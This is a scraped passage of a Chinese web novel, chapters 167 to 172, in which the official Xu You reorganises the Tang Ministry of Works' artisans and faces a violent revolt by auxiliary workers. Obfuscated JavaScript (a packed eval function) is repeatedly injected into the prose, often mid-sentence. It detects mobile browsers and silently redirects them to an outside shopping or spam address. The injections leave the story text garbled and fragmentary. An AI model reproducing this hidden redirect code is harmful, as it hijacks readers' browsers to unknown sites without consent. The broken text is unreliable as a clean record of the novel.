许攸原本以为剩余的材料,应该会不到千斤,但不得不说,工部乃是天子脚下,什么奇怪材料都有,而且大部分都剩余五六千斤左右。 光知道这些,可和他未来计划没多少牵连,他要的是个借口! “从今日开始,将将作监和军器监所有工匠召集,全部统一造册。” “工匠分一到九级,每个等级俸禄重新制定,另外所有工匠重新分配。” 许攸拿出自己准备好的计划方案,直接甩给了秦琦。 旁边秦琦已经看呆,他一直以为许攸是在睡觉,谁知道居然拿出了个新的方案。 可涉及到将作监和军器监的所有工匠,这件事可不是两人能定夺。 “老师,这件事是不是得上报?” “急什么,这件事你来负责,按照我说的,全部划分,三十人一组,并且让他们各自选举出组长!” “我给你两日时间,三日后我来,如果这件事没做成,你可以回去,不用跟着我了!” 丢下这话,许攸背着手,大步朝自己府邸走,至于秦琦嘴巴张张,在风中凌乱不已。 第一百六十七章 找茬大会开始 御书房,星光散落窗匛间,将书案前的身影照亮。 烛火摇曳,这是秦曦第一次亥时后,主动放下奏疏,只是看着话本或杂志。 刚看没多久,她就看到秦琦满脸苍白,嘴唇哆嗦,跌跌撞撞从外面走来。 跟在秦琦身后的王迸,一步一个哆嗦,手中浮尘不停扫地,想扶又不敢扶,让秦琦凤眸眯起。 “十三弟,你为何会这样?” 秦琦想哭,许攸走的快,把他丢在工部,就直接离开。 起初他还以为自己大展拳脚时候,直到看到许攸留下所有任务,这才傻眼。 数不尽的卷宗,堆积如山的账目,都需要核对,还要重新编排人员名册,更关键的是两监的人员可不会听他的。 “皇姐,许攸故意差使我,还让我做些杂活。” “什么杂活?” 闻言秦琦噘着嘴,将怀里的册子取出,恭敬递到秦曦的面前。 名册上字迹工整,但除了名字和籍贯官职外,并无其他,也没许攸要求的等级划分,以及新的分组任命。 这些事情以一己之力完成,几乎是不可能。 秦琦没傻到去找姜琦,所以他在察觉出不对后,立刻跑到皇宫内告状。 闻言,秦曦抬手,将他递上的另一份书册拿到手里。 和前一份书册不同,这一份字迹潦草,有的页面上不但有字,还有图案。 秦曦眯起眸子仔细打量,内心却泛起惊涛。 书页上的字体,她从未见过,每个字都很小,一撇一画棱角分明,每个字之间都充斥着狂傲和煞气! 她随手翻开一页,上面画了一副很简单的图,同时旁边有小字、。 “铠甲双肩流线不够圆润,锻打前三次淬火,再进行塑型锻打,锻打时添加少许碳墨以增加延展性。” “胸甲前增加挂坠,可挂护心镜,两翼翼展乃多余,全部去除减少重量。” 再往后翻一页,上面是一把陌刀。 “唐刀长度改为在三尺三,先锻打融合精铁和赤铜等材料,再进行封罐进行烧制,封罐可用黄纸作为隔层,脱罐后需连续淬火三次。” “刀身重五斤,刀刃宽一寸,可劈砍,可戳刺!所有唐刀重置!” 看到这里的秦曦,彻底不淡定了。 她知道许攸有才,却不知道许攸的才,是多方面。 一个下午时间,不但看出了工部的问题所在,还大刀阔斧开始改制。 连带所有的器具兵甲武器,都要重新打造。 烛火跳动,她拿着手册,双眸逐渐出神。 “你觉得这是什么?” 良久,她低下头,神色凝重的看向秦琦。 秦琦面露不屑,他熟读四书九经,这些东西在他眼底不过是奇技淫巧。 身为帝王,身为王爷,他所需要知道的,可不是这些! “皇姐,臣弟认为,这些不过是微末小道,不值一提罢了!” 书中的内容秦琦也看过,他的内心骄傲,容不得他低头。 他学的是圣贤术,学的是治天下的大道理。 见他如此轻蔑,秦曦面上只是轻笑一声,并未有任何言语责备。 秦琦自小丧母,是在乳娘的照顾下,长大承认,他虽然读的书多,但不知道躬耕,只知道浅显的知识。 大唐发展到这个地步,需要的不是一个守成的皇帝,而是需要一个大刀阔斧,能够撑起盛世的皇帝。 堂下,秦琦还不知道,自从他踏入宫门,就彻底失去了争储的权利。 不过秦曦并不打算剥夺他全部机会,再次淡淡的问道。 “许攸临走之时,可曾和你说过什么?” 秦琦一愣,他总感觉龙椅上这位皇姐,似乎有什么话想说,但却没说出口。 想到许攸的吩咐,秦琦心中更加郁闷。 “许攸曾言脚踏实地,但这些东西,全是文书和主簿的差事,还有他居然妄图将两监的工匠合并,成为一个新部门。” “皇姐,此乃大逆不道之事,你为何如此纵容他?” 唉! 秦曦发现自己错了,她没解释,而是喊来小公主。 将两样东西交给小公主后,她淡淡的道。 “月儿,你用几日可以做完?” 小公主歪着脑袋仔细盘算了下,又怯生生的回答。 “姐姐,两监的事务,月儿不熟悉,不过是文书工作,只要一日即可。” “那好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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第一百六十八章 废除匠籍 田光带急匆匆从远处走来,身后还跟着十几人。 给许攸道完歉,他立刻冲着身后的人吆喝。 “都愣着干什么,还不给许大人见礼!” 十几名工匠依次展开,戏谑的盯着许攸,没有一个人回话。 他们是世代匠籍,按照大唐的律法,几人身份比普通文人都要高一等。 “许大人,我等今日早间有活计,耽误了些时辰,还请大人恕罪。” 在旁边的秦琦,见到这一幕,肺快要气炸。 今日早间他天不亮就起床,为的就是见证下许攸的神奇操作。 可现在倒好,这群工匠居然连点卯都不到。 为首的工匠名叫祖冲,和论证圆周率的祖冲之,就差了一个字,但模样和性格,那可是天差地别。 祖冲耀武扬威站在台下,只要他的匠籍不废除,那么他就是宫廷大匠,地位超然一等之外,还要享受朝廷的俸禄。 “祖冲,祖父祖成,祖籍洛阳,前朝建邺十七年,被征入军器监监,是否正确?” 许攸将手里的名册捧起,翻到祖冲那一页,朗声读出他的籍贯。 祖冲得意洋洋,他是五代匠人,从前朝开始,便已经有了匠籍。 匠籍不可轻易废除,要废除匠籍,必须经过工部、户部、吏部三部同意,还要上报中书省,由中书令亲批。 眼前足足十七名工匠,全都有名有姓,在将作监或者军器监,至少也待了二十年。 动他们一个人,那就是动全部! 许攸淡定的合上名册,低头看向台下的祖冲。 “今日点卯,是否是三日前就通知?” 闻言,祖冲淡定的点点头。 “是,不过今日早间,田大人收到急报,河东大水,急需一批水龙,我等奉命行事,不得已才迟了些!” 迟了些? 秦琦看看天色,他是辰时抵达,现在是巳时三刻,足足迟了一个时辰三刻。 将近两个时辰时间,他可不信这些工匠,可以打出水龙。 “许大人若是不信,田大人可以为我等作证。” “我等卯时出发,为了不耽误大人的事情,特意加快速度,如今也只是成形一半,现在还放在院中。” 言外之意,都是许攸胡乱召集人,打乱了救灾赈灾的计划。 水龙和水车需要结合使用,河东大水是三个月前,许攸来长安都快三个月,这些人居然在这个时候提赈灾。 许攸表情不变,依旧带着笑,熟悉他的人,这会都已经躲远。 “你的意思是,你们在打造水车,只用了两个时辰不到?” “是!” 祖冲依旧是那得意洋洋的姿态,压根没把许攸给放在眼底。 许攸年轻,又是突然降临,在工部没任何的根底。 这些工匠可都是老油条,一个个猴精猴精,根本不会被吓到。 “我若是记得不错,将作监才是负责这些事宜,你等为何会私自插手将作监的事情?” 祖冲脸上的笑容僵住。 他是军器监的大匠,所负责的是军械兵甲装备,而非各种器械农具这些。 双方可是有很大差距,况且将作监和军器监虽然同在工部的管辖下,但二者可不是在一起。 “大唐有律法,将作监内在籍工匠,需要出门者,都需要报备行程。” “为何本官今日未曾见到?” 这话一出,祖冲脸上的笑容僵住,眼眸内也闪烁起了惊慌。 他们根本就不是去打造水龙,不过是提前布置的局,让许攸钻进去而已。 现在倒好,许攸还没钻进去,他们自己陷了进去。 场面顿时陷入死寂,不少人盯着祖冲等人,暗暗庆幸自己没犯傻。 不过还有人露出幸灾乐祸的表情,抱着手打算看好戏。 祖冲等人不上报,私自外出,被查到也就是扣俸禄。 这对这些工匠而言,并不是大事,平日里他们伸伸手,就能有不少银子,养活一家老小,轻而易举而已。 祖冲额头冷汗不断溢出,他也发现自己话语的漏洞,先前他说自己等人去打造水龙,结果没上报,那就无人能作证。 在他焦急的思索对策时,田光老神在在从入口处缓缓走来。 “许大人,事从紧急,今日恰逢你点卯,他们也是第一次,为了早点见到许大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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田光很有底气,不说中书令,就是三部之中的工部,许攸就绕不过去。 三部都需要尚书亲笔签字,有了这三位的签字,才能去中书省报备。 没了曲成的亲笔,哪怕许攸说破天,这件事也无法处置,最终只能不了了之。 田光想的很好,可是他忘了一件事。 “哎呀,本官怎么忘记,居然和京兆府忘记交接了!” 众人一愣,这话什么意思? 京兆府什么时候牛到这地步,能官六部的事情了? 在众人疑惑的目光中,许攸晃悠悠从兜里,取出一份圣旨。 “田大人,你帮我掌掌眼,这上面是什么意思?” “我这年纪轻轻的,居然得了眼疾,看字都看不清楚,真要命啊!” 田光也愣住了,圣旨他是忍得的,可许攸带着圣旨,为何要憋到现在? 再者他也不是没有耳目,之所以这样干,全都是因为曲成授意。 工部尚书亲自发话,没有尚书手令,就是许攸能说破天,那也没办法。 圣旨被缓缓打开,田光拧着眉梢,开口念诵。 “天恩浩荡,朕心感不足,特令许攸担任工部左侍郎,补足工部补全,监督制造营生,主管讲座、军器二监,大小事宜,皆可便宜处置,不得有误!” “另京兆府尹及鸿胪寺少卿之职,暂且留置。” 等等! 田光脸色大变,盯着圣旨仔细看了两边,最后那句话,是留置,不是留中! 留置那就是兼管代办,留中则是卸任,转交其他人。 一字之差,差的那可是千**! “不可能!这不可能!” 大唐自开朝到现在,就没有人身兼要职,还是如此多职位。 京兆府,鸿胪寺,工部,哪一个都是重中之重,属于权利核心的位置。 可偏偏现在许攸居然横跨三个地方,不但兼管京兆府,还管起了工部。 更要命的是,圣旨上写明了,让许攸主抓军器和将作两监! 田光的脸色不停变化,他隐约猜到,许攸打算用什么计策,可他万万没想到,这圣旨居然会如此的离谱。 难道天子当真昏了头,手抖写错了? 忽然,田光手抖了两下,刚才还写着“留置”的位置,缓缓飘落个纸片,上面赫然写着个“中”! “矫诏!” 田光脑袋只感觉嗡嗡作响,整个人如同被雷劈呆呆站在原地,一动不动。 “田大人,你可看清楚了圣旨的意思?” 许攸淡定的声音缓缓响起,让田光脑瓜子仿佛要炸开。 矫诏! 这可是矫诏! 要灭九族的大罪! 如此堂而皇之的矫诏,许攸不是在找死吗? 田光脸上露出惊喜,正要抬起手,将圣旨举起,浑身又打了个寒噤。 他看到了一双眼,一双深似大海的双眸,那眸子内,没有任何的感情,冷的仿佛是似水。 “田大人,你可看清楚了!” “是置还是中,千万要看清楚!” 不对! 田光打了个寒噤,从许攸的眼神中,他嗅到了死亡的滋味。 眼前的许攸,绝对是个疯子。 “许大人,下官看清楚了!” “那你说说,这圣旨上的字,到底变还是没变?” 闻言,田光的脸色再次一变,他明白了,明白这道圣旨的含义。 许攸从始至终,都不是为了工匠而来,而是为了他和黄安两人! “许大人,你这话是什么意思?” “圣旨出自圣上只手,乃是三省共同审阅,难不成还能出错?” 田光吸了口气,强自让自己冷静下来。 现在他手里有许攸矫诏的把柄,完全可以利用这圣旨,狠狠戳许攸一刀。 许攸依旧是那笑容满脸的模样。 “陛下是不可能出错,但是有些人的眼睛,可能会出错!” “国不可无法,既然有律法,那就必须严格遵守!” “来人,将祖冲等人拿下!” “放肆!” 田光彻底怒了,当着他的面拿人,那他这个军器监的寺监,岂不是成了摆设? “哦,难不成田大人是和他们一伙的?” “今日有人奏报,在长安城内发现一伙贼寇,疑似突厥探子!” “这些人长得和我们大唐人一模一样,还喜欢装作匠人身份,以此掩人耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078432|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目!” “本官怀疑,他们就是突厥细作!” “来人呐!” “拿下!” 许攸再次喊了一声,这次出现的,可不是工部的差役,而是一群黑甲禁卫。 “禁……禁卫?!” 田光看到这一幕,双腿不停哆嗦。 禁卫当今只有三人能调动,这三人其一是天子,其二是曾经的建安郡主,以及小公主安阳公主。 除此之外,就是禁军大统领,要调动禁卫,都需要奏明兵部和天子。 如今禁卫出现在工部,还是如此突然出现,那只有一个可能! 天子已经知道了这件事! 田光哆嗦着打开圣旨,上面依旧是留中,他没看错。 “怎么回事,这到底怎么回事?” 他得不到答案,祖冲等人更加得不到答案。 祖冲等人也见过禁卫,当看到禁卫出现后,一个个直接瘫软在地。 “许大人饶命,我等再也不敢了!” “饶命啊!” 许攸冷冷一笑,眼底没有半点的留情。 “饶命?你们盗卖库中材料时候,就已经罪无可恕,将律法当做儿戏,将库中铜铁当做自己所有,你们还有什么脸面求饶?” “重则三十,全部送入刑部,交由刑部处置!” 为首的禁卫不是别人,就是被带回去的箫成。 箫成现在黑了许多,也成熟许多,目露敬佩的看了眼许攸,挥手带着人,将祖冲等人给强行拖走。 惨叫声在远处响起,伴随还有棍棒砸在肉上的沉闷声响。 许攸玩味的迈开脚步,空高台上跳下,来到田光身边。 “田大人,现在你看清楚,圣旨上的字,到底是什么了吗?” 许攸敢堂而皇之矫诏,就是秦曦压根不把这回事放心上。 当初她都那么说了,许攸都没答应,现在说矫诏,纯属于脱裤子放屁。 圣旨在田光手里,好似有千斤重。 “许大人,下官看清了!” “那你知道怎么做了?” “知道!” 许攸脸色一冷,猛地抬起脚,踹在田光的小腹上。 “知道还愣着,要本老爷亲自动手吗?” 第一百七十章 工匠们打起来了 田光脸色变化不停,拿着圣旨的手,都在疯狂颤抖。 “许大人,你真的要如此做?” “这里可是两千七百多名工匠,他们时代都是匠籍,你可知道这么做,到底是什么后果?” 无奈之下的田光,只能拿出匠籍说事。 “哪怕你今日废除了他们的匠籍,陛下所需军备制造不出,各地所报器械无法完成,这后果可不是你能承担!” “还请许大人手下留情!” 许攸冷笑连连,到了这时候和他卖惨,早干什么去了? 真当他许攸是软柿子? 当即,许攸冷着脸,戏谑看向田光。 “田大人你这么会说,那你和陛下说去!” “圣旨在你手里,你不是可以去和陛下说么?难道你怕了?” 田光额头冷汗顺着脸颊滴落。 带走祖冲等人的是禁军,那就代表天子早就知道这些事情! 当今天子可不是慈眉善目的昏君,这是以为真敢**的狠辣角色! 大唐的工匠并非普通工匠,一旦有匠籍后,就可以和官府申请,申请人手当做辅工。 眼前虽然只有两三千的工匠,但辅工多达六万,若是处理了这些工匠,会让那些辅工也心生怨言。 田光以为自己靠着这手段,就能制衡许攸,可惜他把许攸想的太简单。 “好!” 恨恨的一个字自田光口中传出,事到如今,他不听令行事,那只有个下场! 那就是死! 田光暗恨的同时,也在心里猜测,许攸这到底要干什么。 自古工匠就是个特殊的团体,如今许攸得罪这些人,就是自己在找死。 接下来的事情,让秦琦大为震惊。 他本以为许攸会以雷霆手段,**这些工匠,再把工部不听话的全部收拾一遍,结果许攸丢下这群人,让田光处理,自己则是施施然的离开。 时间来到下午,两千七百人全部被分配结束,田光亲自出面,按照名册上重新登记造册。 听话的还能保持匠籍,不听话的直接翻旧账,在祖冲等人被查后,谁也不敢在这个时候冒头。 许攸躺在椅子上晒太阳,秦琪则是一脸的郁闷。 “许师,您为何这么确定,这些工匠不会反?” 秦琦还以为这些工匠会闹腾,再不济也得去找工部尚书。 结果什么事情都没发生,他所担心的那些压根不存在。 非但如此,这些人格外配合,有什么事情吩咐下去,不到半个时辰,必然会解决。 离谱,太离谱了! 前几日他查个库房,都被推三阻四,现在这些工匠和着了魔似的,一个个听话的不得了。 许攸则是满脸古怪。 眼前这小王爷,身份高贵不假,可似乎没什么脑子。 “殿下,你是不是觉得他们很听话,对我唯命是从,是不是整个工部,现在都在我执掌中?” 工部下有三监,分别是将作、军器、都水三监。 三监分别掌管天下民械,军械军备,以及水利。 如今三监被许攸掌控两个,说是他是工部尚书,都有人相信。 秦琦想到这,又觉得许攸厉害。 这才短短时间,居然把工部给拿下了! “许师,如今你乃尚书之下第一人,整个工部都是你说了算,难道这还不厉害?” 许攸用看傻子的眼神看向秦琦。 “殿下,你觉得你这话,没有什么不妥的地方吗?” 工部尚书之下第一人,想想都觉得威风。 正处于十**岁的年纪,秦琦虽然饱读诗书,但也是少年心性。 在看到许攸的目光后,他脸色微微变化。 “许师,难道不对?” 连续被许攸坑了这么多次,秦琦也不是真傻,也能看明白这眼神不对劲。 许攸真的无语,先遇到个傲娇怪,现在又遇到个傻白王爷,他这辈子是造了什么孽。 “殿下你等着,不出三日,必有麻烦上门!” 说完,许攸用书页盖住脸,再次闷声吩咐。 “去把库房内的材料盘点一番,按照各个组拟定一份工作任务。” “哦。” 秦琦想追问,看许攸这不搭理的样子,又气哼哼的咬住牙。 他就不信,这群已经怂到骨子里的工匠,还能玩出什么花。 实际上都没等三天,第二天就出事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078433|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 秦琦大早晨天没亮,就跑到工部,准备趁着昨日的余威,将这帮狗眼看人低的工匠给收拾一番。 刚到工部没多久,一名主簿从外面小跑而来,冲着秦琦拱手。 “郎君,许大人可在?” 工部内有班房和衙署,用来给官员和工匠休息居住。 许攸在长安城有房子,自然是不会住这种破地方,而自恃清高的秦琦,也不可能拉下脸住宫外。 闻言,秦琦立刻板正脸,冷冷的回应。 “不在!” “胡大人有事可以直接和在下说,许大人前来时,我自会禀报。” 对于秦琦这个外人,居然敢过问工部的事情,工部上下是敢怒不敢言。 胡炜也只是礼貌性的问一句,听到许攸不在后,脸上露出焦急。 “小郎君,出事了!” 这话一出,吓得秦琦“噌”一下从座椅上爬起。 “出事?出什么事了?” 胡炜脸上的焦急更多,神色间也充满慌张。 “今日早间,我等按照许大人的分配,前往各自所在组,进行轮值!” “这毕竟是刚开始,所有人都不熟悉,其中以锻铁组和烧砖组两个组人马最多。” “两组都需要用高炉,而工部的高炉只有那么几座,双方言语冲突下,这就打了起来。” “还请许大人出面,调停此事。” 秦琦脸色大变,昨日回去,他恶补了不少知识,知道锻钢炼铁,高炉是必须的,如果没有高炉,就等于一切都是空谈。 如今烧砖的要高炉,锻铁的也需要,说不定其他组也需要,这就从根本形成了**。 “锻铁组的人基本上都是青壮,在冲突间,不小心伤了那么几个人,所以……所以……” 胡炜呐呐不敢继续说,若是不见血,肯定不会上报。 秦琦还不知道这些,只是听到胡炜语气不好,急切的催促。 “快带我去!” “这……不好吧?” 胡炜想喊的人是许攸,可不是眼前这个小郎君。 就在这时候,许攸悠悠然出现,走到两人面前,淡定的一拍手。 “走,去看看热闹!” 第一百七十一章 反了狗皇帝 “丁牛,你等不是工匠,难道现在要欺压我等,不把皇命当回事?” “我等可是匠人!” 萧山工部营房外,两方人马隔着一条木栅栏,双方剑拔**张,手里的刀斧弓箭,也全都对准了隔壁的人马。 在远处还有一帮看戏的工匠,一个个都伸长脖颈看热闹。 萧山乃工部辅工所在地,这里人员繁多,**了差不多五六万人,是一个特殊的地方。 双方在各自工匠带领下,形成了对垒局面。 丁牛也不是什么省油的灯,自从那什么狗屁新规颁布,他们这群辅工,居然不算匠籍,被改成了普通百姓。 原本他们可是吃皇粮,住的是天子安排的场所,现在反而成了一群无根的人。 丁牛冷笑一声,看着对面的老汉,眼底浮现出怨毒。 “凭什么你们烧砖的这些狗东西,居然踩爷一头!” “爷自幼就在将作监做工,生是将作监的人,死亦是将作监的鬼,居然没有匠籍!” “就你们这群老掉牙的东西,也配叫做匠人?” 门户只见历来就有,匠人之间更是如此。 工匠吃的是皇粮,住的是皇家,是天子所器重的人才。 普通百姓,不过是压榨的对象,压根没什么存在的空间。 双方依旧在争论,话题全都是在匠籍上。 等许攸和秦琦赶到时候,已经是饷午,双方气势不但没缓和,反而还越来越严重。 “丁牛,你等嚣张就是,老夫乃辅工,看看老夫的吃食,再看看你们的!” “哈哈,你就等着被问罪,到时候别连自己老婆孩子都保不住!” 丁牛气急败坏,想要动手,却被身边的几个青壮给拉住。 “丁大哥,不值得!” “这老匹夫都活不了多少时日,光这些体力活,累都要累死他,居然还敢嚣张!” “就是,不用为了这老匹夫,耗费了体力,我们还是多留点体力干活吧!” “今日组长吩咐,每个人两斤生铁,要是完不成,可没饭吃!” 几人你一言我一语,不但没打消丁牛内心的火气,反而不断助长他内心火焰升腾。 “打死他们这般狗东西!” 也不知道是谁撺掇,正在怒火上的丁牛闻言,立刻握住手边的铁毡,狠狠朝着对面人群砸过去。 对面都是一群老弱,年岁一个都要比丁牛一群人都要大。 嘭! 铁毡砸在一名辅工身上,立刻爆出一团血色。 鲜红的血液,就是最好催化剂,场中顿时变得杂乱。 “**了!丁牛**了!” “快叫管事,有人**了,救命!” 有人看热闹,有人故意趁着这时候,跑来秀存在感,还有的则是故意挡住去路,让双方就在此地大。 “住手!都住手!” 胡炜从远处跑来,见到众人打成了一锅粥,额头冷汗瞬间滑落。 “丁牛,你等干什么?莫不是要反了!” “你等身为辅工,领的是朝廷俸禄,吃的是皇粮,你等要做什么?” 丁牛浑身是血,一双眼睛内充满凶光,听到这话后,冷笑一声,用怨毒目光看向许攸等人。 “狗官,你害我等无家可归,还让这些狗东西骑在爷头上,今日爷就反了!” “兄弟们,抄家伙!” 秦琦脸色煞白,眼前的一幕,让他生出了不好的记忆。 谋反! 这群工匠居然反了! “许师,他们……他们要反了,他们是反贼!” 许攸没好气的翻了个白眼,他又不瞎,自然知道这些人是什么意思。 “别胡说,什么反贼不反贼的,我可没看到。” 许攸微微一笑,那样子把秦琦和胡炜给看蒙住。 都这时候,许攸居然还有心情说笑! 一旦这件事爆发,所有人都要死,这六万的辅工要死,工部的那些工匠也得死。 而许攸这个工部左侍郎,更是难逃其咎! 面对如此情况,秦琦都开始着急了。 “许师,这不是儿戏,他们要反了!” “然后呢?” 许攸依旧是满脸的淡定,甚至连脸上的笑容,都没有少过一点。 “然后?然后某要取你狗命!” 丁牛狞笑一声,手里的铁棍被他挥舞的虎虎生风,在空中不时抽出一串爆鸣。 四周没任何的差役,也没任何的禁卫,眼前许攸和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078434|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦琦两人,就这么大大方方出现在丁牛面前。 一步,两步,三步…… 秦琦的双腿在哆嗦,却没后退半步,而是握住了腰间的佩剑,颤抖着举起。 “你可别过来,你这是谋逆,是要被诛九族的大罪!” 闻言,丁牛不但没怕,反而狞笑着举起手中铁棍。 “你们这群当官的,一个个心比蛆都黑!” “平日里,我们做活,工钱十文,你们要拿三文,逢年过节还要孝敬你等。” “如今一句狗屁的胡言,就要废了我等匠籍,这日子不反,那又如何?” “兄弟们,杀了这狗官,咱们打进长安,这皇帝也让咱们坐坐!” 说到这里,丁牛眼底的凶光再次暴涨。 “那皇帝老儿可是个娇滴滴的大美人,比起杏花楼的姑娘,都要水灵!” “哈哈哈,跟我冲!” 一呼百应之下,不少人也拿起了手中的武器,跟在丁牛身后,大有直接冲去长安城的架势。 面对这些人,许攸不但没退步,反而很是认真的看向丁牛身后的人群。 “我不知道你们是被谁撺掇,但是你们可考虑清楚,越过你们面前这道线,阎王面前再无半句冤!” 说话间,他突然身形消失不见,随后就看到丁牛等人面前,被一把剑划出一道细线。 “越界者……死!” 冰冷的杀意自许攸身上绽放,这是从尸山血海中爬出来的,比这些工匠身上的怒意要更加直白恐怖。 丁牛脚步一顿,看向许攸的目光中充满害怕。 “你是何人!” 许攸手持常见,气势微冷,听到这话后,眼眸微微抬起,露出戏谑的表情。 “连我都不知道,看来你们确实被人撺掇的!” “我就是你们口中,那个狗官!” 这话一出,全场陷入死寂。 丁牛打了个哆嗦,他也见过不少狠人,但许攸这样的,他从未见过。 “来,你不是要取我狗命,来来来!” “本老爷给你一次机会,三息之内说出背后主使,饶你不死!” “否则的话……” 许攸手中长剑一抖,空气中立刻爆发出一阵剑鸣。 第一百七十二章 重新编排匠籍 扑哧! 丁牛刚要说什么,瞳孔不断放大,眼底的恨意定格。 他到死都不明白,明明按照计划行事,为何会变成这模样。 许攸擦了擦脸上的血,对此并没有任何的意外。 在他身侧的秦琦,早就看傻了眼。 “许……许师,刺……刺客,快……快跑。” 许攸玩味的扭过头,看了眼抖成筛子的秦琦,眼底第一次露出认真。 “不错。” 这种情况下,普通人怕是早就吓个半死,相反秦琦虽然害怕,但并没有逃,而是主动站在许攸的身边。 秦琦现在都慌成了狗,身体抖的和筛子差不多,见许攸还是如此淡定,他更加恐惧。 “许师,有刺客,快跑!” 两人一个是天子心腹,一个是王爷,但凡死一个,那都是会引起轩然大波。 面对这情况,许攸笑着摇头,将脸上的血液擦干,淡定的看向四周。 “罪魁祸首已经伏诛,你等还要继续吗?” “你们大字不识几个,一无人脉资源,二没详细计划,靠着这腔热血,想要谋逆可不成!” “老老实实当你们的辅工,日后必然享乐的机会,何必在这里冒着掉脑袋的风险?” 丁牛突然惨死,周围众人也傻了眼。 一个个你看看我,我看看你,脸上露出茫然的神色。 他们之所以敢**,全都是有丁牛带着,如今闹出了人命后,只能硬着头皮冲没否则就是死路一条。 可现在的情况,非但是如此,相反他们还有活命的机会。 西南角人群之外,一道人影坐在马车内,正静静的看着这一幕。 他眼底的戏谑和恨意,以肉眼可见速度高涨。 “许攸,你杀我王府之人,当真以为本王是软柿子?” 梁王冷笑一声,挥手示意车夫离开。 马车如同鬼影消失,来无影,去无踪。 不过车刚走,一道人影幽幽出现,而后快速消失在原地。 “许大人,查清楚了。” 周龙从远处悄然出现,身边还带着一群黑甲。 看到这群黑甲,秦琦悬着的心,彻底落回肚子里。 禁卫来了! 虽然只有五十黑甲,但给众人的压迫力,可不是简单的这点。 所有人屏住呼吸,呆呆的看向黑甲大军。 “所有人全部放下武器,如果继续拿着,那就别怪本老爷不客气。” “有冤的直接上前,没冤的自己去找郎中,所有费用开支,本老爷承担!” “滚!” 许攸可没半点好语气,面对这群刁民,给好脸色看,那都是白给。 果不其然,他这番态度,不但没惹得眼前众人害怕,反而让这些人松了口气。 丁牛身侧的一名青年,壮着胆子来到许攸面前,扑通一声跪倒。 “老爷饶命,都是丁牛蒙骗我等。” “昨日晚间他说今日能给我等谋个好前程,我等都以为他说的是能再次入匠籍,谁知道他居然要谋反!” “还请老爷明察!” 说话的人名叫王小虎,也是自小就出生在将作监。 这次匠籍更改,对他们这群人而言,是最为致命的。 原本吃吃喝喝,什么事情不用干,他们就有俸禄拿,还能有匠籍可入。 现在他们必须干活,按照匠籍制度,从最开是的辅工,慢慢靠着资历和时间爬上去。 但这也不是固定的,许攸特别制定了一条规则,那就是匠籍制度可以跳,如果有重大发现或者改进发明,可以越三级。 而如果是最高级的工匠,那就可以申请,成为皇家御用匠师。 匠师的待遇和匠人,那是天差地别,每月的俸禄从原本的十五两银子,飙升到了二百两,同时可以开设学堂,传授所学。 到了这个级别,已经不是普通的工匠,而是能和大儒比肩的存在。 王小虎等人没什么能力,自小就是在将作监张大,除了对炼铁锻造熟悉,就再无其他的长处。 按照匠籍,他们要爬到最高级别的匠人,至少需要三十年时间。 有人带头哭诉,其他人也纷纷跪地。 “大老爷饶命,我等都是被蒙骗,还请大老爷明察。” 看到这些人跪在地上,秦琦心生不忍心。 罪魁祸首已经伏诛,按照法不责众的说法,确实不应该处理这么多人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078435|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“许师,不如放过他们如何?” 许攸正准备开口,听到这话,一口吐沫卡在嗓子眼,险些没给自己呛死。 他回头看了眼满脸祈求的秦琦,露出一副没救了姿态。 